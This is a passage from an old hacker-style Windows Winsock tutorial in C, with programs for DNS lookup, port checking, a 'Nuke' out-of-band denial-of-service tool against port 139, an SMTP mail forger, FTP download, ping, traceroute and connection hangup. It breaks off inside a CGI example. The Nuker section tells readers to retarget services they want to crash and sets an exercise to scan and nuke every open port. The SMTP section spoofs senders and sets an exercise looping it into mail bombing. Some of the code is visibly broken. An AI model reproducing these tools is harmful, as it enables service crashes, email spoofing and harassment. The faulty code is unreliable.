6.0 Common Internet programs
=======================================
In this section were going to build a few common internet applications using the information that
we have learnt so far.
These programs are:
1. DNS - Gets a hostname and returns its IP address.
2. Portscan - Gets port numbers and tells user whether there open or not.
3. Nuke - Sends OOB data to a listening port.
6.1 DNS
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
#include
int CDECL MessageBoxPrintf (TCHAR * szCaption, TCHAR * szFormat, ...)
{
TCHAR szBuffer [1024];
va_list pArgList;
va_start (pArgList, szFormat);
_vsntprintf (szBuffer, sizeof (szBuffer) / sizeof (TCHAR),
szFormat, pArgList);
va_end (pArgList);
return MessageBox (NULL, szBuffer, szCaption, 0);
}
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
wsock = WSAStartup(0x0101,&wsdata);
struct hostent *h;
h = gethostbyname("localhost");
MessageBoxPrintf(TEXT ("Hostname"),h->h_name);
MessageBoxPrintf(TEXT ("IP Address"),inet_ntoa(*((struct in_addr *)h->h_addr)));
WSACleanup();
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program utilizes the hostent structure, like we discussed earlier, and uses the gethostbyname();
function to get the name of the host were looking for.
The hostent structure is filled up and we access the members h_name and h_addr and display them in Messagebox's.
These aren't normal message box's as normal ones wouldn't be able to display the info for them so we added
some extra code to create MessageBoxPrintf(); to emulate the consoles printf() function.
6.2 Portscan
=======================================
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
int CheckPortUDP(short int Port)
{
struct sockaddr_in client;
WSADATA wsaData;
int Busy = 0;
int sock;
if(WSAStartup(0x0101, &wsaData) == 0)
{
client.sin_family = AF_INET;
client.sin_port = htons(Port);
client.sin_addr.s_addr = inet_addr("127.0.0.1");
/* Check UDP Protocol */
sock = socket(AF_INET, SOCK_DGRAM, 0);
Busy = (bind(sock, (SOCKADDR FAR *) &client,sizeof(SOCKADDR_IN)) == SOCKET_ERROR);
if(Busy)
WSACleanup();
}
return(Busy);
}
int CheckPortTCP(short int Port)
{
struct sockaddr_in client;
WSADATA wsaData;
int Busy = 0;
int sock;
if(WSAStartup(0x0101, &wsaData) == 0)
{
client.sin_family = AF_INET;
client.sin_port = htons(Port);
client.sin_addr.s_addr = inet_addr("127.0.0.1");
sock = socket(AF_INET, SOCK_STREAM, 0);
Busy = (connect(sock, (struct sockaddr *) &client,sizeof(client)) == 0);
if(Busy)
WSACleanup();
}
return(Busy);
}
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
if(CheckPortTCP(80))
MessageBox(0,"HTTP Server is running","HTTP",0);
else
MessageBox(0,"HTTP Server is down","HTTP",0);
if(CheckPortUDP(13))
MessageBox(0,"DayTime Server is running","DayTime",0);
else
MessageBox(0,"DayTime Server is down","DayTime",0);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
Unlike the previous programs this one runs the winsock code as soon as we start it. We have 2 functions,
1. CheckPortUDP - Check if UDP port is open.
2. CheckPortTCP - Check if TCP port is open.
These functions try to connect to the port that we pass to them in the WinMain function and if these ports
are busy we get returned Busy otherwise we dont get returned Busy, its as easy as that!
If we wanted we could add more code that checks more ports, port checking could do more than just tell us
if a server is running (which is very useful on its own!) it could also tell us if a trojan is running
on a remote computer or our own for that matter :).
6.3 Nuker
=======================================
/* <---- PLEASE READ DISCLAIMER ----> */
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
char *str;
struct sockaddr_in Sa;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
wsock = WSAStartup(0x0101,&wsdata);
sock = socket(PF_INET,SOCK_STREAM,0);
Sa.sin_family = AF_INET;
Sa.sin_addr.s_addr = inet_addr("127.0.0.1");
Sa.sin_port = htons(139);
wsock = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
str = "Hello World!";
send(sock,str,strlen(str),MSG_OOB);
MessageBox(0,"Nuke Sent","Nuked",0);
WSACleanup();
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This is the infamous (infamously lame) Nuke program. Port 139 is standard listening port for windows,
Nuke merely sends OOB (Out Of Bound) data to this port which on some operating systems results in a crash.
Many FTP servers and other such services are subceptible to a good nuking, all you do is change the port
value to the service you wish to crash.
For more information on Nuke and DoS attacks consult blacksun.box.sk.
[ EXERCISES ]
Write a program which first takes a hostname of a computer and returns the IP address,
checks for open ports on the host, and nukes each port in turn.
________________________________________________________________________________________________________
7.0 E-MAIL - SMTP
=======================================
E-Mail is a very useful service and has made snail mail pointless (id rather get an internet mail bomb than
a snail mail one!)
E-mail is made up of two protocols
1. SMTP - For sending mail.
2. POP3 - For recieving mail.
Since this is a basics tutorial we will only cover SMTP for the moment but that don't mean that we can't
make it a bit more interesting...
Any-1 thats familiar with SMTP can tell you its inherent flaws (after all bsrf's tutorial is smtp - the
buggiest protocol.. or something like that).
Most importantly of all it is possible to send mail from your e-mail account without giving a username or
password, or read some-1 else's mail for that matter..
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
struct hostent *H;
char output[100];
int cnnct;
char str[10000];
struct sockaddr_in Sa;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
WSAStartup (0x101, &wsdata);
sock = socket(AF_INET, SOCK_STREAM,0);
H = gethostbyname("mail.newbie.net");
Sa.sin_family = AF_INET;
Sa.sin_port = htons(25);
Sa.sin_addr.s_addr = *((unsigned long *) H->h_addr);
cnnct = connect(sock,(struct sockaddr *) &Sa,sizeof(Sa));
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"HELO newbie.net\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"MAIL FROM:\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"RCPT TO:\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"DATA\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"TO: Ian Cosgrove\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,"FROM: Mail Forger.in\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,"DATE: 22 May 01 16:17 GMT\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,"MESSAGE_ID: <123456789>\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,"Hello World!\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,"From The Mail Forge Program\r\n");
cnnct = send(sock,str,strlen(str),0);
strcpy(str,".\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
strset(output,' ');
strcpy(str,"QUIT\r\n");
cnnct = send(sock,str,strlen(str),0);
cnnct = recv(sock,str,10000,0);
sprintf(output,"recv %d str %s",cnnct,str);
WSACleanup();
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program sends a series of commands at the SMTP server, if you are not familiar with the smtp
protocol theres a good tutorial at the blacksun website which covers all of these commands and
the basic idea behind this program.
The result of this program is that an e-mail is sent to my e-mail address (cos125@hotmail.com),
from lamer@newbie.net.
The resulting e-mail would look like the following:
---------------------------
---------------------------
TO: Ian Cosgrove
FROM: Mail Forger
DATE: 22 May 01 16:17 GMT
MESSAGE_ID: <123456789>
Hello World!
From The Mail Forge Program
---------------------------
---------------------------
And thats the SMTP program, replace my e-mail address with any-1 that you want and the address,
lamer@newbie.net with anything, like santa@northpole.com, and the e-mail will be sent.
[ EXERCISES ]
Add a loop in the program so that it repeatedly sends e-mails to the same address...
something like,
for (i = 1; i<= 500 ; z++)
{
...
}
________________________________________________________________________________________________________
* NOTE - This method is known as mail bombing.
________________________________________________________________________________________________________
8.0 WinInet - FTP
=======================================
So far we have been using the Winsock for all of our programming, but there is another option in windows
and its known as WinInet. WinInet is a collection of high level functions and deals with 3 main protocols;
HTTP, FTP and Gopher. WinInet functions closely resemble windows file functions. For an example of using
the WinInet API we are going to make an FTP client.
FTP isn't very widely used anymore or if it is its used in the background of an application, like for
downloading files from an FTP server in Internet Explorer. To the user when Internet Explorer begins
downloading a file from a web site its hard to tell whether its using http's get command or using good ol' FTP.
+------------------------+-------------------------+
| FTP function | Windows File Function |
+------------------------+-------------------------+
| FtpCreateDirectory | CreateDirectory |
+------------------------+-------------------------+
| FtpRemoveDirectory | RemoveDirectory |
+------------------------+-------------------------+
| FtpSetCurrentDirectory | SetCurrentDirectory |
+------------------------+-------------------------+
| FtpGetCurrentDirectory | GetCurrentDirectory |
+------------------------+-------------------------+
FIG 5. - FTP and Windows File functions.
As you can see from the above diagram FTP's commands in WinInet are very similiar to normal file commands
in windows. This should make it easier to understand if you are already familiar with file management in windows.
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include // remember to include the WinInet header
#include
// FTP Download Definitions
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
BOOL bSuccess;
HINTERNET hIntSession, hFtpSession;
// Open an internet session
hIntSession = ::InternetOpen ("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
// form a connection to www.microsoft.com
hFtpSession = InternetConnect (hIntSession, "www.microsoft.com",
INTERNET_DEFAULT_FTP_PORT, "anonymous", "cos125@hotmail.com",
INTERNET_SERVICE_FTP, 0, 0);
bSuccess = FtpSetCurrentDirectory( hFtpSession, ""); // Set the current directory on the ftp server,
// where "" is the directory
// Copy file from internet
FtpGetFile (hFtpSession,
"/disclaimer.txt", "/disclaimer.txt", TRUE, // copy file from server to disk
FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_ASCII, 0);
InternetCloseHandle (hFtpSession);
InternetCloseHandle (hIntSession);
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program is quiet different to ones we have seen before. Most importantly to run this one you must
link WININET.LIB to the project rather than Wsock32.lib, otherwise you'll get linker errors from your compiler.
The main code is in the button down part as usual, to keep things familiar. In the begining we have a BOOL
and two important parts which deal with the session. hIntSession and hFtpSession. These are used to refer to
the connection to the host which in this case is www.microsoft.com.
We pass several parameters to InternetOpen, first the name of the app "FTP", then the we just worry about
standard parts like the internet type and ASyncronous.
With InternetConnect we really form the connection by specifying information such as the host name,
"www.microsoft.com" and tell the program to use the standard FTP port which is port 21, and provide the login
information required by the ftp server. We are logging in with the standard anonymous account available on all
public ftp servers. If you are connecting to a computer you have an account on you replace anonymous with your
username and cos125@hotmail.com with your password.We then tell it what service we are using, ie; FTP.
We set the current directory we wish to use on the FTP server, "" for the default directory, if a directory
called home existed on the ftp server we could switch to that directory by placing home in the quotation marks,
"home", and we pass a handle to the current ftp session, hFtpSession.
The FtpGetFile() functions structure is quiet similiar, we specify the handle then give the name of the file we
wish to download, this is followed by the name we want for the file when it is downloaded onto the computer.
If I wanted to download disclaimer.txt onto my computer and have its name as discoblah.txt when it got here i
would set the first of these parameters to disclaimer.txt and the second one to discoblah.txt.
We set the files attributes to normal and then we specify the transfer type.
Files from FTP servers can be downloaded in more than one way, ascii or binary. We are only downloading an ascii
text file right now so we set it to FTP_TRANSFER_TYPE_ASCII, however if we wanted a binary transmission, like we
would for a computer program, we would set it to FTP_TRANSFER_TYPE_BINARY.
To finish off we close the handles hFtpSession and hIntSession.
[ EXCERCISES ]
Write a program which uses multiple threads or ASynchronous sockets to simultaneously download multiple files
from a server using a binary transfer.
________________________________________________________________________________________________________
9.0 ANOTHER PROTOCOL - ICMP
=======================================
Yes unfortunately we have to cover yet another one of these protocols, but don't worry this one is cool.
ICMP stands for the Internet Control Message Protocol and is used for checking for errors on computers connected
to the internet. This protocol isnt quite like TCP or UDP it more runs along side IP and kinda runs like a
modified version of it. One of the most popular applications on the internet is run on ICMP, it is called Ping.
/* <---- SOURCE CODE STARTS HERE ----> */
#include
struct o
{
unsigned char Ttl,Tos,Flags,OptionsSize,*OptionsData;
};
struct
{
DWORD Address;
unsigned long Status,RoundTripTime;
unsigned short DataSize,Reserved;
void *Data;
struct o Options;
}
E;
HANDLE hIP;WSADATA wsa;HANDLE hIcmp;DWORD *dwIPAddr;struct hostent *phostent;
DWORD d;char aa[100];struct o I;
HANDLE ( WINAPI *pIcmpCreateFile )( VOID );
BOOL ( WINAPI *pIcmpCloseHandle )( HANDLE );
DWORD (WINAPI *pIcmpSendEcho)(HANDLE,DWORD,LPVOID,WORD,LPVOID,LPVOID,DWORD,DWORD);
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev,LPSTR lpCmd,int nShow )
{
hIcmp = LoadLibrary( "ICMP.DLL" );
WSAStartup( 0x0101, &wsa );
phostent = gethostbyname( "www.microsoft.com");
dwIPAddr = (DWORD *)( *phostent->h_addr_list );
pIcmpCreateFile=GetProcAddress( hIcmp,"IcmpCreateFile");
pIcmpCloseHandle=GetProcAddress( hIcmp,"IcmpCloseHandle");
pIcmpSendEcho =GetProcAddress( hIcmp,"IcmpSendEcho" );
hIP = pIcmpCreateFile();
I.Ttl=6;
pIcmpSendEcho(hIP,*dwIPAddr,0,0,&I,&E,sizeof(E),8000 );
d=E.Address;
phostent = gethostbyaddr((char *)&d,4,PF_INET);
sprintf(aa,"gethostbyaddr %p",phostent );
MessageBox(0,aa,aa,0);
if ( phostent != 0 )
MessageBox(0,phostent->h_name,"hi",0);
wsprintf(aa,"RTT: %dms,TTL:%d", E.RoundTripTime,E.Options.Ttl );
MessageBox(0,aa,"hi",0);
pIcmpCloseHandle( hIP );
FreeLibrary( hIcmp );
WSACleanup();
}
/* <---- SOURCE CODE ENDS HERE ----> */
First off this ain't my own code, I downloaded this code off a website and if you think the coding style
is kinda messy, well I agree with you (bear in mind I have already cleaned it up a bit).
Unfortunately I couldn't compile and run this code on my computer :( , judging from the fact that almost
evry ping and ICMP program on the internet that relies on the ICMP dll looks like this one im guessing it
has something to do with my compiler or my version of windblows.
Anyway the program specifies some information at the start, like the ttl (time to live) and so on, which
it will use later and we build a structure. We then state some usual winsock variables and skip onto the
WinMain function.
We load the ICMP library directly because microsoft din't release a .lib file for the bloody thing :).
We then call phostent and pass the host name www.microsoft.com to the gethostbyname() function.
This is closely followed by initialising 3 pointers to functions to the address's of related functions.
1. pIcmpCreateFile - IcmpCreateFile
2. pIcmpCloseHandle - IcmpCloseHandle
3. pIcmpSendEcho - IcmpSendEcho
We then pass a handle to hIP and set the ttl to 60. The structure I contains fields of the IP header, which
we are able to alter.
The main function is pIcmpSendEcho (unless ya want to count WinMain), it has 8 parameters.
1. hIP - Handle from IcmpCreateFile().
2. dwIPAddr - Destination IP address.
3. 0 - Pointer to buffer to send.
4. 0 - Size of buffer in bytes.
5. &I - Request options.
6. &E - Reply buffer.
7. sizeof(E) - The size of the reply buffer.
8. 8000 - Time to wait in milliseconds.
We then print information about the ping like round trip time and the ttl of the return packet.
We finish by unloading the icmp dll and WSACleanup() after us.
Another application of ICMP is called tracetoute.
In traceroute we ping a host but we start off with the ttl = 1. This ICMP packet gets to the first router
and is decremented. The ttl is then 0 and the router sends back an error message telling us that it dropped
our packet.
We then send a packet with the ttl = 2 and it is dropped by the second router and again an error message is
returned. We keep on sending the ping putting the ttl up by one each time until we reach the host we are
pinging. By saving the IP address's and host names contained in the error messages from the routers we can
view the route the packet takes from us to the host we are tracing. This is traceroute.
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
void abc(char *p)
{
FILE *fp=fopen("z.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct o
{
unsigned char Ttl;unsigned char a[7];
};
struct
{
DWORD Address;
unsigned long Status,RoundTripTime;
unsigned char a[8];
struct o Options;
} E;
HANDLE hIP;WSADATA wsa;HANDLE hIcmp;DWORD *dwIPAddr;struct hostent *phostent;
DWORD d;char aa[100];struct o I;char bb[100];int z;
HANDLE ( WINAPI *pIcmpCreateFile )( VOID );
BOOL ( WINAPI *pIcmpCloseHandle )( HANDLE );
DWORD (WINAPI *pIcmpSendEcho) (HANDLE,DWORD,LPVOID,WORD, LPVOID, LPVOID,DWORD,DWORD);
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev,
LPSTR lpCmd,int nShow )
{
hIcmp = LoadLibrary( "ICMP.DLL" );
WSAStartup( 0x0101, &wsa );
pIcmpCreateFile=GetProcAddress( hIcmp,"IcmpCreateFile");
pIcmpCloseHandle=GetProcAddress( hIcmp,"IcmpCloseHandle");
pIcmpSendEcho =GetProcAddress( hIcmp,"IcmpSendEcho" );
hIP = pIcmpCreateFile();
for ( z = 1; z<= 20 ; z++)
{
I.Ttl=(unsigned char)z;
phostent = gethostbyname( "www.neca.com");
dwIPAddr = (DWORD *)( *phostent->h_addr_list );
pIcmpSendEcho(hIP,*dwIPAddr,0,0,&I,&E,sizeof(E),8000 );
d=E.Address;
phostent = gethostbyaddr((char *)&d,4,PF_INET);
if ( phostent != 0)
strcpy(aa,phostent->h_name) ;
else
strcpy(aa,"no host name");
wsprintf(bb," RTT: %dms, TTL: %d", E.RoundTripTime, E.Options.Ttl );
strcat(aa,bb);
abc(aa);
if ( E.Options.Ttl )
break;
}
MessageBox(0,"over","hi",0);
pIcmpCloseHandle( hIP );
FreeLibrary( hIcmp );
WSACleanup();
}
/* <---- SOURCE CODE ENDS HERE ----> */
So this is traceroute (very useful for discovering network trust issues and for diagnostics).
[ Excercises ]
Create a program which pings a host multiple times in any way you want, then compare the
different routes.
________________________________________________________________________________________________________
10.0 OTHER INTERNET CODE
=======================================
Some times you need more than just the common winsock programming so I decided to add this section,
its a bit off the mark of the tutorial but still it might come in handy.
10.1 INTERNET CONNECTIONS
=======================================
The first program were going to look at is Hangup.cpp which was programmed by senna spy, all of his
original comments are included and no code is altered so im just going to give you the code as it
appears in the file which is available to download from the net.
/* <---- SOURCE CODE STARTS HERE ----> */
/////
//
// Copyright (C), April, 06 - 2000, By Senna Spy - ICQ UIN: 3973927
//
// Senna Spy Programmer Official WebSite:
//
// http://sennaspy.cjb.net
// http://w3.to/sennaspy
// http://sennaspy.tsx.org
// http://www.sennaspy.hpg.com.br
//
// HangUpConnections()
//
// Close All Internet Connections
//
/////
#include
#define MAX_CONNECTIONS 128
//////////////////////////////////
// //
// HangUpConnections() Function //
// //
//////////////////////////////////
void HangUpConnections()
{
// Variables
RASCONN rcConnection[ MAX_CONNECTIONS ];
DWORD dwBufferSize;
DWORD dwTotalConnections;
int nLoop;
// Set Buffer Size
rcConnection[0].dwSize = sizeof( RASCONN );
dwBufferSize = MAX_CONNECTIONS * sizeof( RASCONN );
// I can Enumerate Connections ?
if( RasEnumConnections( rcConnection, &swBufferSize, &dwTotalConnections ) )
return;
// There is Connections ?
if( dwTotalConnections )
{
// Looking All Conections
for( nLoop = 0; nLoop < (int) dwTotalConnections; nLoop ++)
{
// Check Status
RASCONNSTATUS rcsStatus;
rcsStatus.dwSize = sizeof( RASCONNSTATUS );
// Don't OK ?
if( RasGetConnectStatus( rcConnection[ nLoop ].hrasconn, &rcsStatus ) )
break;
// Is Connected ?
if( rcsStatus.rasconnstate == RASCS_Connected )
{
// Close Connection...
if( RasHangUp( rcConnection[ nLoop ].hrasconn ) )
break;
}
}
}
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program includes the ras.h header file, which is in charge of internet connections and has to
be included to interact with connections.
The main function is HangUpConnections() and all the code takes place here.
First we set the buffer size that will be used and then we check if we can enumerate internet connections.
If there are internet connections present we loop trough them and check if were connected.
If it turns out that there is a connection present we then close it.
Heres some more code utilizing ras.h and again no this one isn't by me either.
/* <---- SOURCE CODE STARTS HERE ----> */
////
//
// Check for Internet Connection
//
// Windows 95, 98 and NT Compatible
// Proxy (Client) Not Compatible
//
// Copyright (C), 14/02/2000, By Marcos Velasco
//
// http://icqpassword.cjb.net
//
/////
#include
bool IsConnected()
{
LPRASCONN TRasCon;
RASCONNSTATUS Tstatus;
DWORD lg;
DWORD lpcon;
bool lReturn;
TRasCon->dwSize = 412;
lg = 256 * TRasCon->dwSize;
lReturn = false;
if( RasEnumConnections(TRasCon, &lg, &lpcon) == 0 )
{
Tstatus.dwSize = 160;
RasGetConnectStatus(TRasCon->hrasconn, &Tstatus);
lReturn = ( Tstatus.rasconnstate == 0x2000 );
}
return( lReturn );
}
// Example:
if( IsConnected() )
// It's OK.... Connected.. :-)
else
// Not Connected.. :-(
/* <---- SOURCE CODE ENDS HERE ----> */
Like the previous code this one I downloaded from the net and has not been altered by me in any way.
This code is quiet similiar to the last one and it leaves you room to add code to deal with the connection,
this piece kind of reminds me of the port scanner earlier, it checks whether the connection is present first,
like the scanner checked if the port was busy and then leaves you open to add messages to the user.
________________________________________________________________________________________________________
10.2 CGI Programming
=======================================
CGI stands for the Comon Gateway Interface. On web sites we can have programs that provide a service to users.
These programs can be anything from guest books and chat rooms to search engines and e-mail programs, such as
hotmail.com's web interface or the Alta Vista search engine.
These programs can be written in any language you want, c++, perl, vb and any others, but how does the user
communicate with the program? Websites tend to use forms to collect the information on say for example, a
guestbook.
But how does the information get from the form to the program? This is when cgi is used.
In the following example we are going to register a website with the webcrawler search engine.
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
struct sockaddr_in Sa;
long cnnct;
char output[100];
char msge[1000],str[10000];
int i;
struct hostent *h;
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
